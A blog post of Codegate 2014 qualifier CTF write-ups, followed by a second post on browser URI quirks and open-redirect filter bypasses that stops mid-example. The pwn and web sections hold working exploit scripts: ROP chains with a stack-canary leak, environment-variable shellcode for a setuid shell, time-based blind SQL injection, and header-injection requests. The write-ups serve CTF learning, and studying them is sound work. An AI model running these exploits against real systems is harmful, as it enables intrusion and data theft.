Belated Codegate 2014 Quals Writeups and Lessons Learned

The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.

I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.

  • stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)
  • ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)
  • To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)
  • gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)
  • You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)
  • I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)
  • SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500)

Reversing 200 dodoCrackme

Running strace

$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 
execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0
mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000
write(1, "r", 1r)                        = 1
write(1, "o", 1o)                        = 1
write(1, "o", 1o)                        = 1
write(1, "t", 1t)                        = 1
write(1, "@", 1@)                        = 1
write(1, "l", 1l)                        = 1
write(1, "o", 1o)                        = 1
write(1, "c", 1c)                        = 1
write(1, "a", 1a)                        = 1
write(1, "l", 1l)                        = 1
write(1, "h", 1h)                        = 1
write(1, "o", 1o)                        = 1
write(1, "s", 1s)                        = 1
write(1, "t", 1t)                        = 1
write(1, "'", 1')                        = 1
write(1, "s", 1s)                        = 1
write(1, " ", 1 )                        = 1
write(1, "p", 1p)                        = 1
write(1, "a", 1a)                        = 1
write(1, "s", 1s)                        = 1
write(1, "s", 1s)                        = 1
write(1, "w", 1w)                        = 1
write(1, "o", 1o)                        = 1
write(1, "r", 1r)                        = 1
write(1, "d", 1d)                        = 1
write(1, ":", 1:)                        = 1
...

it looks like they’re doing syscalls for every character written and read

Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.

With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.


import gdb
import binascii
import sys


def read_weird_string(start_addr, spacing=8, block=100):
    a = gdb.selected_inferior().read_memory(start_addr, block * spacing)
    #for i in range(0,block):
    #   print
    #print help(a)
    for i in a:
        if i == "\x00":
            continue
        sys.stdout.write(i)
    print
    print binascii.hexlify(a)


read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50
gdb-peda$ source decode_string.py 
H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

Reversing 250 Clone Technique

This one has on the description: “Limited processes will be generated. Which one has the flag?”

We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.

12c

Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…

One thing I tried to do throughout this was put a breakpoint on memory access. For example,

ba w4 00409754

The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.

Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!

decode_func

My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.

>type windbg.txt
.childdbg 1
.load pykd.pyd
sxr
sxe -c "bp 00401201 \"!py iskey.py\";g"  ibp
sxi epr

>type iskey.py
#!/usr/bin/python

import pykd
import struct
import binascii

def is_possible_key(mstr):
  try:
    mstr = mstr[:mstr.index(0)]
  except ValueError:
    return False
  print mstr
  for i in mstr:
    if not (i >= 0x20 and i <= 0x7e):
      return False
  if len(mstr) > 5:
    print "".join([chr(i) for i in mstr])
    return True
  return False

edi = pykd.reg("edi")
a = pykd.loadBytes(edi,30)
if is_possible_key(a):
  print "KEYKEYKEYKEYKEYKEY"
else:
  pykd.dbgCommand("g")

>windbg -c "$$><windbg.txt" clone_technique.exe

This finds our key ‘And Now His Watch is Ended’

Forensics 150

Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark

0-weirdcap

First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here http://www.forensicswiki.org/wiki/PDF on the pdf but no luck. Looking at it, it’s

for150_1

Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.

for150_2

Then just save the pdf part to a file and we get the key

for150_3

Pwn 250 Angy Doraemon

This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.

doremon

The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)

So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.

#!/usr/bin/python

import argparse
import struct
import socket
import binascii
import time

class exploit:
  def __init__(self, args):
    self.command = args.command

    if args.fd == None:
      self.get_fd()
    else:
      self.fd = args.fd

    if args.canary == None:
      self.get_canary()
    else:
      self.canary = binascii.unhexlify(args.canary)

    self.pwn()
    
  def get_canary(self):
    self.canary = ""
    padding = "yAAAAAAAAA"
    #doing one byte at a time simplifies cases where there are null bytes
    for i in range(0,4):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((args.host, args.port))
      data = self.recv_until(">", sock)
      sock.sendall("4")

      self.recv_until("(y/n) ", sock)
      sock.sendall(padding)
      data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
      if len(data) == 58 + i:
        self.canary += "\x00"
      else:
        self.canary += data[22+i]
      padding += "A"
      sock.close()
    print "canary: ", binascii.hexlify(self.canary)

  def get_fd(self):
    self.canary = ""
    padding = "yAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")

    self.recv_until("(y/n) ", sock)
    sock.sendall(padding)
    data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
    sock.close()
    self.fd = ord(data[42])
    print "fd: ", self.fd

  def pwn(self):

    rop = struct.pack("<I", 0x08048620)       # read plt
    rop += struct.pack("<I", 0x8048b2c)       # pop 3 ret
    rop += struct.pack("<I", self.fd)         # fd
    rop += struct.pack("<I", 0x804b508)       # buf 
    rop += struct.pack("<I", 0x256)           # nbytes
    rop += struct.pack("<I", 0x08048710)      # execl
    rop += struct.pack("<I", 0x41424142)      # ret
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x804b508)       # buf "-c"
    rop += struct.pack("<I", 0x804b508 + 3)   # buf "command"
    rop += struct.pack("<I", 0x0000000)       # null

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")
    self.recv_until("(y/n) ", sock)

    padding = "yAAAAAAAAA"
    padding += self.canary
    padding += "B" * 12
    sock.sendall(padding + rop)

    self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket
    sock.sendall("-c\x00{0}\x00".format(self.command))

    data = sock.recv(1024)   
    print data
    sock.close() 

  def recv_until(self, string, sock):
    data = ""
    while True:
      tmp = sock.recv(1)
      if tmp == "":
        break
      data += tmp
      if data.endswith(string):
        break
    return data


parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.137.150")
parser.add_argument("--port", default=8888)
parser.add_argument("--canary", default=None)
parser.add_argument("--command", default="whoami")
parser.add_argument("--fd", default=None, type=int)
args = parser.parse_args()

m = exploit(args)

Pwn 350 4stone

This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.

4stone_numseconds

As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.

4stone_write

The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0xb7dc2000 0xb7dc3000 rwxp	mapped
0xb7dc3000 0xb7dc6000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc6000 0xb7dc7000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc7000 0xb7dc8000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc8000 0xb7f76000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f76000 0xb7f78000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f78000 0xb7f79000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f79000 0xb7f7d000 rwxp	mapped
0xb7f7d000 0xb7f9b000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9b000 0xb7f9c000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9c000 0xb7f9e000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9e000 0xb7f9f000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9f000 0xb7fc2000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc2000 0xb7fc3000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc3000 0xb7fc4000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fdb000 0xb7fdd000 rwxp	mapped
0xb7fdd000 0xb7fde000 r-xp	[vdso]
0xb7fde000 0xb7ffe000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp	[stack]

hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0x40000000 0x40020000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40020000 0x40021000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40021000 0x40022000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0x40022000 0x40023000 r-xp	[vdso]
0x40023000 0x40025000 rwxp	mapped
0x4003c000 0x4005f000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x4005f000 0x40060000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40060000 0x40061000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40061000 0x4007f000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x4007f000 0x40080000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40080000 0x40082000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40082000 0x40083000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40083000 0x40084000 rwxp	mapped
0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40232000 0x40234000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40234000 0x40235000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0x40235000 0x40238000 rwxp	mapped
0x40238000 0x4023b000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023b000 0x4023c000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023c000 0x4023d000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023d000 0x4023e000 rwxp	mapped
0xbffdf000 0xc0000000 rwxp	[stack]

And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?

Tracing this, in the exit .got we have

0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so

   0x4013eb04 <_exit>:	mov    ebx,DWORD PTR [esp+0x4]
   0x4013eb08 <_exit+4>:	mov    eax,0xfc
=> 0x4013eb0d <_exit+9>:	call   DWORD PTR gs:0x10

It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this http://stackoverflow.com/questions/10354063/how-to-use-a-logical-address-in-gdb by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>

Because this is bound loosely we can look for references to this in the mapped region.

gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)
Found 1 results, display max 1 items:
mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>:	push   ecx)

It looks like we could overwrite this and it would point somewhere else. Does it work?

gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c
gdb-peda$ continue 
Continuing.
...
Stopped reason: SIGSEGV
0x0c0c0c0c in ?? ()

Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit

#!/usr/bin/python

import os
import argparse
import struct
import sys
from ctypes import *

class exploit:
  def __init__(self, args):
    self.vulnpath = args.path

    #stdin (wins the game and specifies what to write)
    f = open(args.inputfile, "w")
    f.write("\nhhh\nhh\nhh\nhhh\nh\nl\nhhhh\nl\nll\nh\n\n\n")
    #f.write("c0c0c0c0")  #what to write 
    f.write("bfab0b00")  #what to write 

    f.close()

    f = os.open(args.inputfile, int('444', 8))
    print f
    print sys.stdin
    os.dup2(f, 0)

    #arg1 (sepcifies where to write)   
    self.argv = "4023d6d0" 

    #environment (shellcode) /bin/sh setuid 1003
    dashsc = (
"\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +
"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +
"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +
"\xb1\x48\x97\xfb\x48\x6f\x29\x2e\xfa\x7b\x87\x4e"
    )

    self.env = { "TERM": "xterm" }
    for i in range(0,100):
      self.env[str(i)] = "\x90" * 100000 + dashsc

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)
    
parser = argparse.ArgumentParser()
parser.add_argument("--inputfile", default="input.txt")
parser.add_argument("--path")

args = parser.parse_args()
m = exploit(args)
m.pwn()

Pwn 400 minibomb

The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.

gdb-peda$ x/4i 0x40000424
   0x40000424 <__kernel_vsyscall+16>:	pop    ebp
   0x40000425 <__kernel_vsyscall+17>:	pop    edx
   0x40000426 <__kernel_vsyscall+18>:	pop    ecx
   0x40000427 <__kernel_vsyscall+19>:	ret   
gdb-peda$ x/2i 0x080480F3
   0x80480f3:	mov    ebx,0x0
   0x80480f8:	int    0x80

We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150

.text:080480B4 lea     ebx, unk_8049150 ; start
.text:080480BA int     80h             ; 

We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.

I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: http://mslc.ctf.su/wp/codegate-2014-quals-minibomb-pwn-400/. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.

Using More Smoked Leet Chicken’s technique

#!/usr/bin/python
#listener.py

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 30123))
s.listen(1)

while True:
  conn, ts = s.accept()
  conn.sendall("/tmp/blah\x00 ")
  time.sleep(1)
  print "got connection"
  conn.close()
#!/usr/bin/python
#exploit.py

import argparse
import struct
import socket
import time
from subprocess import *

class exploit:
  def __init__(self, args):

    self.vulnpath = args.path

    padding = "A" * 16

    rop = struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 11)         #edx (length)
    rop += struct.pack("<I", 0x08049150) #ecx (buffer)
    #eax is 3 due to pipe
    rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin?

    #eax is 11 due to read 11
    rop += "AAAAAAAAAAAAAAAA"
    rop += struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0x080480B4)

    self.payload = padding + rop

  def pwn(self):
    out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out_sock.connect(("127.0.0.1", 30123))
    out_sock.setblocking(0)

    #find the right value
    out_sock.sendall("A" * eval(args.sendsize))

    p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock)

    p.stdin.write(self.payload)


parser = argparse.ArgumentParser()
parser.add_argument('--path', default="./minibomb")
parser.add_argument('--sendsize', default=0)

args = parser.parse_args()
m = exploit(args)
m.pwn()
$ ulimit -s
unlimited 
$ cat /tmp/blah 
#!/bin/bash -p

/usr/bin/id > /tmp/output
$ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"
$ cat /tmp/output 
uid=1000(test) gid=1000(test) groups=1000(test)

Web 200

I banged my head against this one for a while. In the comments was
I tried things like looking for .htaccess, etc, but no luck.

This looked promising

this looks promising

http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin

But you only get the first two lines back and the content length. But it turns out there’s a header injection!

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

This responds with

<!--if($_SERVER[HTTP_HOST]=="hackme")--></body>

Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

In the response is: Password is WH0_IS_SnUS_bI1G_F4N

Web 500

They give us this source.

<?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);
?>

<head>
<link rel="stylesheet" type="text/css" href="black.css">
</head>

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
  <p>
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  </p>
  </div>
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">
  </p>
</form>

The sqli is relatively straightforward. You can have a True/false query like this.

password='or(1=2)and'1
password='or(1=1)and'1

But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true

password='or(CHAR_LENGTH(password)=30)and'1

so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*

But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).
The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*

#!/usr/bin/python

import urllib
import httplib
import time
import argparse
import sys

class web500:
    def __init__(self, host="58.229.183.24", port=80, session="", check_iter=-1, debug=False):
        self.conn = httplib.HTTPConnection(host, port)
        self.conn.connect()
        if session == "":
            self.session = self.get_session()
            print "Creating SESSION=" + self.session
        else:
            self.session = session
        
        self.check_iter = check_iter
        self.debug = debug
        self.upperlimit = 120
        self.passwd = ""
        self.pwn()
        
    def pwn(self):
        for letter in range(0,30):
            dstr = ""
            if self.check_iter != -1:
                letter = int(self.check_iter)
            for bit in range(8,3,-1):
                self.upperlimit -=1
                if self.upperlimit < 0:
                    print "ERROR: Went over limit :("
               
                this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1)
                this_bit  = "SUBSTR({0},{1},1)".format(this_char, bit)
                
                if (bit != 4 and not self.debug):
                    #if on binary(password[i])[3:4] == 10: sleep 24
                    #if on binary(password[i])[3:4] == 01: sleep 16
                    #if all more significant bits are 1: sleep 8
                    #if all more significant bits are 0: sleep 4
                    #else: return true if 1, else 0
                    truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01',  if(left(SUBSTR({0},4,9),{1})!='{4}',  if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3))
                else:
                    truth = "if({0}=0x31,1,0)".format(this_bit)
                    
                sql = "'or(" + truth + ")and'1"
                param= "password=" + urllib.quote(sql)
                
                self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
                self.conn.putheader("Content-length", str(len(param)))
                self.conn.putheader("Cookie", "PHPSESSID=" + self.session)
                self.conn.putheader("Content-Type", "application/x-www-form-urlencoded")
                self.conn.endheaders()
                t = time.clock()
                
                self.conn.send(param)                
                resp = self.conn.getresponse()
                data = resp.read()
                t = time.clock() - t
                if t>=24:
                    dstr = "10" + dstr
                    break
                elif t>=16:
                    dstr = "01" + dstr
                    break
                elif t >= 8:
                    dstr = dstr.rjust(5,"1")
                    break
                elif t >= 4:
                    dstr = dstr.zfill(5)
                    break
                elif "True" in data:
                    dstr = "1" + dstr
                else:
                    dstr = "0" + dstr
            print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit
            self.passwd += self.bin_tochar(dstr)
            if self.check_iter != -1:
                break
        print "PASSWORD: ", self.passwd
        
    def bin_tochar(self, c):
        return chr(int("011" + c, 2))
     
    def get_session(self):
        self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
        self.conn.endheaders()
        resp = self.conn.getresponse()
        data = resp.read()
        return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]
        
         
parser = argparse.ArgumentParser()
parser.add_argument("--session", default="")
parser.add_argument("--checkIter", default=-1)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
                           
a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)

web500

Logging in with this password gives us the key:

Congrats! the key is DontHeartMeBaby*$#@!

*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier http://tunz.tistory.com/109

Some Interesting URI Parsing Quirks and Open Redirects

Parsing the “relativeness” of a URI seems to be a pretty browser specific thing, and doing some quick tests there are several quirks that might be useful/dangerous. The Tangled Web (which is an awesome book) aludes to some of these.

Some URI Quirks

Let’s look at some tests with the URIs grabbed from the location header. The browsers I’m testing right now are IE9, Chrome 17 something, and Firefox 11.

All browsers are happy with this, and go to google.com

header(“Location: //google.com”);

Both Firefox and chrome truncate extra slashes
So

header(“Location: http:///////////////////////google.com“);

is completely happy.

IE is interesting, as it will be equally happy with and /

header(“Location: https:\\google.com\“); <– this works

The spacing doesn’t seem to matter, so all browsers are happy with:

header(“Location:                        http://google.com“);

as well as

header(“Location:http://google.com&#8221;);

My favorite is this. In chrome and Firefox

header(“Location: http:google.com”);

will redirect to a relative URI, but for whatever reason

header(“Location: https:google.com“);

will redirect to google.com. wtf?

Same Domain Redirect

These parsing quirks can be useful for several attacks, and the first thing that came to mind for me was open redirects.  It’s a pretty common scenario to want to allow sites  redirecting based on the parameter as long as it’s in the same domain. It can be expensive to whitelist every URI (which would be ideal), so although that’s a great solution, I also think allowing redirects to your own domain is sometimes better than nothing …despite there being some risks associated with it, like giving an attacker a way to bypass the IE8 XSS filter http://packetstorm.wowhacker.com/papers/general/msie-xssbypass.pdf.

So, below are some (broken) examples of websites trying to accomplish this, allowing a redirect but only to their own site.

Broken Example 1 – startswith /

One naive way to try to perform arbitrary on-site local redirects would be something like the following, which takes the redir query parameter and make sure it starts with a slash:

$redir = $_GET['redir'];
#if redir starts with /
if (strpos($redir, "/", 0) === 0)
header("Location: " . $redir);

Obviously, this can be bypassed in all browsers with //google.com

Broken Example 2 – No Semicolons, Can’t start with /, and in fact, don’t start with // either

This PHP tries to prevent off-site redirects with the following snippet

$redir = $_GET['redir'];
#make sure redir doesn't have slashes, and doesn't have semicolons
if ((strpos($redir, "/", 0) != 0) and (strpos($redir, "/", 1) != 1) and (strpos($redir, ":") === false))
{
header("Location: " . $redir);
}

Because you can prepend spaces, one way to bypass this is to send the following:

redir=%20%20//google.com

Broken Example 3 – No Slashes at all

Ok, what if there are no slashes are allowed at all? You can’t very well have http://blah.com without a slash, after all, so this intuitively might make sense. The code for this might look something like:

$redir = $_GET['redir'];
#if no / in the string
